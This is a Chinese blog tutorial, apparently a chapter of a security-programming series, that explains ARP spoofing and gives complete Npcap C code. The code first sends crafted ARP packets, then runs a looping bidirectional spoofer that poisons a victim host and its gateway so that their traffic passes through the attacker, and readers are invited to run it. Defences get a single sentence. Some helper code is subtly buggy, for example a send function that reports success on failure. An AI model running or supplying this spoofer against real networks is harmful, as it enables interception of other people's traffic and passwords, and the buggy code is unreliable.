18.3 NPCAP 构建中间人攻击

2023-10-29 21:01

本文主要是介绍18.3 NPCAP 构建中间人攻击,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

ARP欺骗(ARP Spoofing)是一种网络攻击手段,其目的是通过欺骗目标主机来实现网络攻击。ARP协议是一种用于获取MAC地址的协议,因此欺骗者可以使用ARP欺骗来迫使其目标主机将网络流量发送到攻击者控制的设备上,从而实现网络攻击。

ARP欺骗攻击通常包括以下步骤:

  • 攻击者在本地网络上广播ARP请求,请求目标主机的MAC地址。
  • 目标主机发送应答报文,包括其MAC地址。
  • 攻击者对目标主机和其它主机发送伪造的ARP应答报文,指定攻击者的MAC地址为目标主机的MAC地址。
  • 接收到欺骗者发来的ARP应答的主机会把欺骗者的MAC地址缓存,在下次发送数据包时,会把网络数据发送给欺骗者控制的设备,从而攻击者就可以截获、修改或者干扰数据传输。

ARP欺骗攻击通常可以用于实现中间人攻击、会话劫持、密码盗窃等网络攻击,因此网络管理人员和用户都应当了解如何防范和检测ARP欺骗攻击。常见的防范手段包括静态ARP表、ARP监控工具、虚拟专用网络(VPN)等。

构建并发送ARP数据包

通过使用Npcap实现发送一个ARP广播数据包,这里需要先在本地构建数据包的结构,然后再将其格式化为字符串数据包,并发送出去,ARP数据包总长度为42字节,其中需要包含14字节EthernetHeader以太网包头,在其下是长度为28字节的ArpHeader数据包头,在数据包发送时需要将两者组合起来,代码中通过ArpPacket包将两个包头串联在一起,如下是需要发送ARP数据包的具体构造结构。

#include <winsock2.h>
#include <Windows.h>
#include <pcap.h>#pragma comment(lib, "packet.lib")
#pragma comment(lib, "wpcap.lib")
#pragma comment(lib,"WS2_32.lib")// 以太网帧类型 对于ARP请求或应答该字段的值为x0806
#define ETH_ARP 0x0806// 硬件类型字段值为表示以太网地址
#define ARP_HARDWARE 1// 协议类型字段表示要映射的协议地址类型值为x0800表示IP地址
#define ETH_IP 0x0800// ARP请求与ARP应答
#define ARP_REQUEST 1
#define ARP_RESPONSE 2// 14字节以太网首部
struct EthernetHeader
{u_char DestMAC[6];    // 目的MAC地址6字节u_char SourMAC[6];    // 源MAC地址 6字节u_short EthType;      // 上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp2字节
};// 28字节ARP帧结构
struct ArpHeader
{unsigned short hdType;    // 硬件类型unsigned short proType;   // 协议类型unsigned char hdSize;     // 硬件地址长度unsigned char proSize;    // 协议地址长度unsigned short op;        // 操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。u_char smac[6];           // 源MAC地址u_char sip[4];            // 源IP地址u_char dmac[6];           // 目的MAC地址u_char dip[4];            // 目的IP地址
};// 42字节的ARP数据包总长度
struct ArpPacket
{EthernetHeader eh;ArpHeader ah;
};

实现数据包发送的第二步是绑定网卡,针对绑定网卡此处封装实现了SelectNetworkHandle函数,该函数通过传入一个网卡序号下标,当收到网卡下标后寻找该小标所对应的网卡句柄,找到后返回一个pcap_t结构的网卡句柄,如下所示;

// 获取到指定网卡的句柄
pcap_t * SelectNetworkHandle(int nChoose)
{// 打开网络适配器,捕捉实例,是pcap_open返回的对象pcap_t *pcap_handle;pcap_if_t *alldevs;// 错误缓冲区,大小为256char errbuf[PCAP_ERRBUF_SIZE];// 获取到所有设备列表if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1){exit(0);}// 找到指定的网卡设备for (int x = 0; x < nChoose - 1; ++x){alldevs = alldevs->next;}// 绑定网卡并设置混杂模式if ((pcap_handle = pcap_open(alldevs->name,      // 设备名65536,                                       // 每个包长度PCAP_OPENFLAG_PROMISCUOUS,                   // 混杂模式1000,                                        // 读取超时时间NULL,                                        // 远程机器验证errbuf                                       // 错误缓冲池)) == NULL){pcap_freealldevs(alldevs);exit(0);}return pcap_handle;
}

接着就是要构造并发送ARP数据包了,对于发包而言我们需要依赖于pcap_sendpacket函数,该函数是libpcap库的一部分,专门用于发送各类数据包结构,该函数原型如下:

int pcap_sendpacket(pcap_t *p, const u_char *buf, int size);

函数用于以原始形式发送数据包,其中参数含义如下:

  • p:指向设备的 pcap_t 指针。
  • buf:指向待发送数据包的缓冲区。
  • size:待发送数据包的大小,以字节为单位。

该函数返回值为发送数据包的状态,如果函数返回 -1,则表示出现错误,否则返回发送的字节数。

有了这个函数那么我们只需要构建属于自己的数据包即可,如下则是主函数的实现流程,在这代码中我们可以看到用于组合ARP数据包的结构体 ArpPacket 包括了以太网包头 EthernetHeaderARP包头 ArpHeader。其中,以太网包头中包括了源MAC地址、目的MAC地址和以太网类型,而ARP包头中则包括了硬件类型、协议类型、硬件地址长度、协议地址长度、操作类型(ARP请求或ARP响应)以及源MAC地址、源IP地址、目的MAC地址和目的IP地址等信息。

在数据包的构造完成后,程序进入了一个循环,每隔1秒钟发送一次数据包,总共发送100次。发送的数据包以 sendbuf 变量的形式进行传输,大小为42字节(即ARP包的结构体大小)。在每次成功发送数据包后,程序会在控制台输出一条带有发送次数的消息。

int main(int argc, char *argv[])
{// 打开网络适配器pcap_t *handle;// 定义以太网包头EthernetHeader eh;// 定义ARP包头ArpHeader ah;// 组合完整的ARP数据包ArpPacket arp;// 定义发包缓冲区 ARP包结构大小42字节unsigned char sendbuf[42];// 定义原MAC地址和原IP地址,此处是十六进制unsigned char src_mac[6] = { 0xaa, 0xaa, 0xaa, 0xaa, 0xff, 0xff };unsigned char src_ip[4] = { 0x01, 0x02, 0x03, 0x04 };// 根据下标选中特定网卡handle = SelectNetworkHandle(8);// 开始填充ARP包memset(arp.eh.DestMAC, 0xff, 6);      // 以太网首部目的MAC地址,全为广播地址memcpy(arp.eh.SourMAC, src_mac, 6);   // 以太网首部源MAC地址memcpy(arp.ah.smac, src_mac, 6);      // ARP字段源MAC地址memset(arp.ah.dmac, 0xff, 6);         // ARP字段目的MAC地址memcpy(arp.ah.sip, src_ip, 4);        // ARP字段源IP地址memset(arp.ah.dip, 0x05, 4);          // ARP字段目的IP地址// 赋值MAC地址arp.eh.EthType = htons(ETH_ARP);      // 将无符号短整数转成网络字节序arp.ah.hdType = htons(ARP_HARDWARE);arp.ah.proType = htons(ETH_IP);arp.ah.hdSize = 6;arp.ah.proSize = 4;arp.ah.op = htons(ARP_REQUEST);// 构造一个ARP请求memset(sendbuf, 0, sizeof(sendbuf));            // ARP清零memcpy(sendbuf, &arp, sizeof(arp));             // 将结构体变为字符串// 循环发包for (size_t i = 0; i < 100; i++){// 发送数据包if (pcap_sendpacket(handle, sendbuf, 42) == 0){printf("[Send] 发送 %d 次 \n", i);}Sleep(1000);}system("pause");return 0;
}

读者可自行运行上述代码片段,当运行后则会发送100ARK数据包,通过使用wireshark即可抓取到这个由我们自己构造的数据包,输出效果图如下图所示;

实现ARP中间人欺骗

ARP欺骗通常是双向欺骗。攻击者首先会向受害者发送一个虚假的ARP响应报文,欺骗其将攻击者的MAC地址与网关的IP地址相对应。这使得受害者将其所有的网络流量发送到了攻击者的设备上,浏览网页、输入密码等所有的网络行为都会被攻击者截获,从而达到窃取网络数据的目的。

同时,攻击者还需要给网关发送一个虚假的ARP响应报文,欺骗其将攻击者的MAC地址与受害者IP地址相对应,这样攻击者就可以中继网关和受害者之间的流量,并监视其所有的网络流量。这种攻击方式被称为双向欺骗,因为攻击者不仅欺骗了受害者,还欺骗了网关,形成了一种双向的欺骗关系。

为了实现欺骗此处我们同样先来定义一些结构体变量,这些结构体变量的解释,读者也可以自行打开抓包软件并捕捉一个数据包进行分析,公开资料在网络平台也可很容易得到。

// arp应答/请求(28字节)
#define ARP_HARDWARE 0x0001  // arp_hrd:以太网
#define ARP_REQUEST 0x0001   // arp_op: 请求 request 
#define ARP_REPLY 0x0002     // arp_op: 应答 reply // 使结构体按1字节方式对齐
#pragma pack(push, 1)// 以太网头部(14字节)
#define EPT_IP 0x0800       // eh_type: IP 
#define EPT_ARP 0x0806      // eh_type: ARP 
#define EPT_RARP 0x8035     // eh_type: RARPtypedef struct
{UCHAR eh_dst[6];        // 接收方MAC地址 UCHAR eh_src[6];        // 发送方MAC地址 USHORT eh_type;         // 上层协议类型 
}EH_HEADR, *P_EH_HEADR;typedef struct
{USHORT arp_hrd;          // 硬件类型 USHORT arp_pro;          // 协议类型 UCHAR  arp_hln;          // 硬件(MAC)地址长度 UCHAR  arp_pln;          // 协议(IP )地址长度 USHORT arp_op;           // 包类型:请求、应答UCHAR  arp_sha[6];       // 发送发硬件地址 (应答时,此处可欺骗)ULONG  arp_spa;          // 发送方协议地址 (应答时,此处可欺骗)UCHAR  arp_tha[6];       // 接收方硬件地址 (请求时,此处无用)ULONG  arp_tpa;          // 接收方协议地址 
}ARP_HEADR, *P_ARP_HEADR;// ARP协议栈
typedef struct
{EH_HEADR ehhdr;ARP_HEADR arphdr;
} ARP_PACKET, *P_ARP_PACKET;

封装一个ChangeMacAddr函数,该函数用于把输入的12字节的MAC字符串,转变为6字节的16进制MAC地址UCHAR类型,以便在网络编程中使用。

输入MAC地址字符串XX-XX-XX-XX-XX-XX形式,其中XX表示两个16进制数的组合,表示一个字节,而-作为分隔符。程序通过循环遍历每个XX,分别解析出高低两位,然后将其转换为UCHAR类型的字节值赋给新的数组a。该函数的返回值为void,不返回任何数据。

void ChangeMacAddr(char *p, UCHAR a[])
{char* p1 = NULL;int i = 0;int high, low;char temp[1];for (i = 0; i < 6; i++){p1 = p + 1;// 计算低位的16进进制switch (*p1){case 'A': low = 10;        break;case 'B': low = 11;        break;case 'C': low = 12;        break;case 'D': low = 13;        break;case 'E': low = 14;        break;case 'F': low = 15;        break;default: temp[0] = *p1;// 如果为数字就直接转变成对应的数值low = atoi(temp);}// 计算高位的16进制switch (*p){case 'A': high = 10;       break;case 'B': high = 11;       break;case 'C': high = 12;       break;case 'D': high = 13;       break;case 'E': high = 14;       break;case 'F': high = 15;       break;default: temp[0] = *p;// 如果为数字就直接转变成对应的数值high = atoi(temp);}// 指针指向下一个X(高)X(低)字符串p += 2;// 求和得16进制值a[i] = high * 16 + low;}
}

封装两个函数,其中makeArpPacket用于传入源地址与目标地址构建出一个特有的ARP数据包,并返回数据给ARPPacket指针,sendArpPacket用于发送ARP数据包,该函数接收一个ARPPacket数据包即可。

BOOL makeArpPacket(ARP_PACKET &ARPPacket, char * srcMac, char * srcIP, char * dstMac, char * dstIP)
{UCHAR MacAddr[6] = { 0 };// 以太网头ChangeMacAddr(dstMac, ARPPacket.ehhdr.eh_dst);   // 目的MAC地址ChangeMacAddr(srcMac, ARPPacket.ehhdr.eh_src);   // 源MAC地址ARPPacket.ehhdr.eh_type = htons(EPT_ARP);        // 数据类型ARP请求或应答// ARP头                                     ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);  // 硬件地址为0x0001表示以太网地址ARPPacket.arphdr.arp_pro = htons(EPT_IP);        // 协议类型字段为0x0800表示IP地址ARPPacket.arphdr.arp_hln = 6;                    // 硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度ARPPacket.arphdr.arp_pln = 4;                    // 以字节为单位对于以太网上IP地址的ARP请求或应答来说它们的值分别为6和4ARPPacket.arphdr.arp_op = htons(ARP_REPLY);      // ARP请求值为1,ARP应答值为2,RARP请求值为3,RARP应答值为4ChangeMacAddr(srcMac, ARPPacket.arphdr.arp_sha); // 发送方源MAC地址(欺骗的MAC地址)ARPPacket.arphdr.arp_spa = inet_addr(srcIP);     // 发送方源IP地址 (欺骗的MAC地址)ChangeMacAddr(dstMac, ARPPacket.arphdr.arp_tha); // 目标的MAC地址 ARPPacket.arphdr.arp_tpa = inet_addr(dstIP);     // 目标的IP地址return TRUE;
}// 发送ARP数据包
BOOL sendArpPacket(pcap_t * fp, ARP_PACKET &ARPPacket)
{if (pcap_sendpacket(fp, (const u_char *)&ARPPacket, sizeof(ARPPacket)) != 0){return TRUE;}return FALSE;
}

最后一步则是发送数据包以实现欺骗的效果,首先通过SelectNetworkHandle选中需要欺骗的网卡,接着我们通过makeArpPacket函数分别构建两个数据包,其中一个用于构建欺骗受害者,另一个用于构建欺骗网关,最后通过循环的方式sendArpPacket发送两个数据包分别到路由器与客户端之间,则可实现对特定主机的欺骗效果。

int main(int argc, char *argv[])
{pcap_t *handle;EH_HEADR eh;ARP_HEADR ah;handle = SelectNetworkHandle(8);// 填充数据包ARP_PACKET ARPPacket_dst = { 0 };     // 欺骗目标ARP_PACKET ARPPacket_gate = { 0 };    // 欺骗网关// 欺骗受害者我是网关 (原MAC地址/原IP地址 --> 目标MAC地址/目标IP地址)makeArpPacket(ARPPacket_dst, "000000000000", "192.168.1.1", "c89cdcad3a39", "192.168.1.10");// 欺骗网关我是受害者 (原MAC地址/原IP地址 --> 目标MAC地址/目标IP地址)makeArpPacket(ARPPacket_gate, "c89cdcad3a39", "192.168.1.10", "000000000000", "192.168.1.1");while (true){// 发送数据包sendArpPacket(handle, ARPPacket_dst);sendArpPacket(handle, ARPPacket_gate);printf("[发送欺骗数据包] \n");Sleep(3000);}pcap_close(handle);system("pause");return 0;
}

读者可自行运行上述这段代码,并打开抓包工具查看效果,此时针对于客户端以及路由器都进行了双向数据包欺骗,当客户端被成功欺骗后,则我们的主机中将会出现被害主机的完整数据包,此时就可以对数据包进行各类分析,以获取有用的线索。

这篇关于18.3 NPCAP 构建中间人攻击的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/303326

相关文章

嵌入式QT开发:构建高效智能的嵌入式系统

摘要: 本文深入探讨了嵌入式 QT 相关的各个方面。从 QT 框架的基础架构和核心概念出发,详细阐述了其在嵌入式环境中的优势与特点。文中分析了嵌入式 QT 的开发环境搭建过程,包括交叉编译工具链的配置等关键步骤。进一步探讨了嵌入式 QT 的界面设计与开发,涵盖了从基本控件的使用到复杂界面布局的构建。同时也深入研究了信号与槽机制在嵌入式系统中的应用,以及嵌入式 QT 与硬件设备的交互,包括输入输出设

Retrieval-based-Voice-Conversion-WebUI模型构建指南

一、模型介绍 Retrieval-based-Voice-Conversion-WebUI(简称 RVC)模型是一个基于 VITS(Variational Inference with adversarial learning for end-to-end Text-to-Speech)的简单易用的语音转换框架。 具有以下特点 简单易用:RVC 模型通过简单易用的网页界面,使得用户无需深入了

maven 编译构建可以执行的jar包

💝💝💝欢迎莅临我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」👈,「stormsha的知识库」👈持续学习,不断总结,共同进步,为了踏实,做好当下事儿~ 专栏导航 Python系列: Python面试题合集,剑指大厂Git系列: Git操作技巧GO

嵌入式Openharmony系统构建与启动详解

大家好,今天主要给大家分享一下,如何构建Openharmony子系统以及系统的启动过程分解。 第一:OpenHarmony系统构建      首先熟悉一下,构建系统是一种自动化处理工具的集合,通过将源代码文件进行一系列处理,最终生成和用户可以使用的目标文件。这里的目标文件包括静态链接库文件、动态链接库文件、可执行文件、脚本文件、配置文件等。      我们在编写hellowor

速盾高防cdn是怎么解决网站攻击的?

速盾高防CDN是一种基于云计算技术的网络安全解决方案,可以有效地保护网站免受各种网络攻击的威胁。它通过在全球多个节点部署服务器,将网站内容缓存到这些服务器上,并通过智能路由技术将用户的请求引导到最近的服务器上,以提供更快的访问速度和更好的网络性能。 速盾高防CDN主要采用以下几种方式来解决网站攻击: 分布式拒绝服务攻击(DDoS)防护:DDoS攻击是一种常见的网络攻击手段,攻击者通过向目标网

利用命令模式构建高效的手游后端架构

在现代手游开发中,后端架构的设计对于支持高并发、快速迭代和复杂游戏逻辑至关重要。命令模式作为一种行为设计模式,可以有效地解耦请求的发起者与接收者,提升系统的可维护性和扩展性。本文将深入探讨如何利用命令模式构建一个强大且灵活的手游后端架构。 1. 命令模式的概念与优势 命令模式通过将请求封装为对象,使得请求的发起者和接收者之间的耦合度降低。这种模式的主要优势包括: 解耦请求发起者与处理者

Jenkins构建Maven聚合工程,指定构建子模块

一、设置单独编译构建子模块 配置: 1、Root POM指向父pom.xml 2、Goals and options指定构建模块的参数: mvn -pl project1/project1-son -am clean package 单独构建project1-son项目以及它所依赖的其它项目。 说明: mvn clean package -pl 父级模块名/子模块名 -am参数

JAVA用最简单的方法来构建一个高可用的服务端,提升系统可用性

一、什么是提升系统的高可用性 JAVA服务端,顾名思义就是23体验网为用户提供服务的。停工时间,就是不能向用户提供服务的时间。高可用,就是系统具有高度可用性,尽量减少停工时间。如何用最简单的方法来搭建一个高效率可用的服务端JAVA呢? 停工的原因一般有: 服务器故障。例如服务器宕机,服务器网络出现问题,机房或者机架出现问题等;访问量急剧上升,导致服务器压力过大导致访问量急剧上升的原因;时间和

利用Django框架快速构建Web应用:从零到上线

随着互联网的发展,Web应用的需求日益增长,而Django作为一个高级的Python Web框架,以其强大的功能和灵活的架构,成为了众多开发者的选择。本文将指导你如何从零开始使用Django框架构建一个简单的Web应用,并将其部署到线上,让世界看到你的作品。 Django简介 Django是由Adrian Holovaty和Simon Willison于2005年开发的一个开源框架,旨在简

828华为云征文|华为云Flexus X实例docker部署rancher并构建k8s集群

828华为云征文|华为云Flexus X实例docker部署rancher并构建k8s集群 华为云最近正在举办828 B2B企业节,Flexus X实例的促销力度非常大,特别适合那些对算力性能有高要求的小伙伴。如果你有自建MySQL、Redis、Nginx等服务的需求,一定不要错过这个机会。赶紧去看看吧! 什么是华为云Flexus X实例 华为云Flexus X实例云服务是新一代开箱即用、体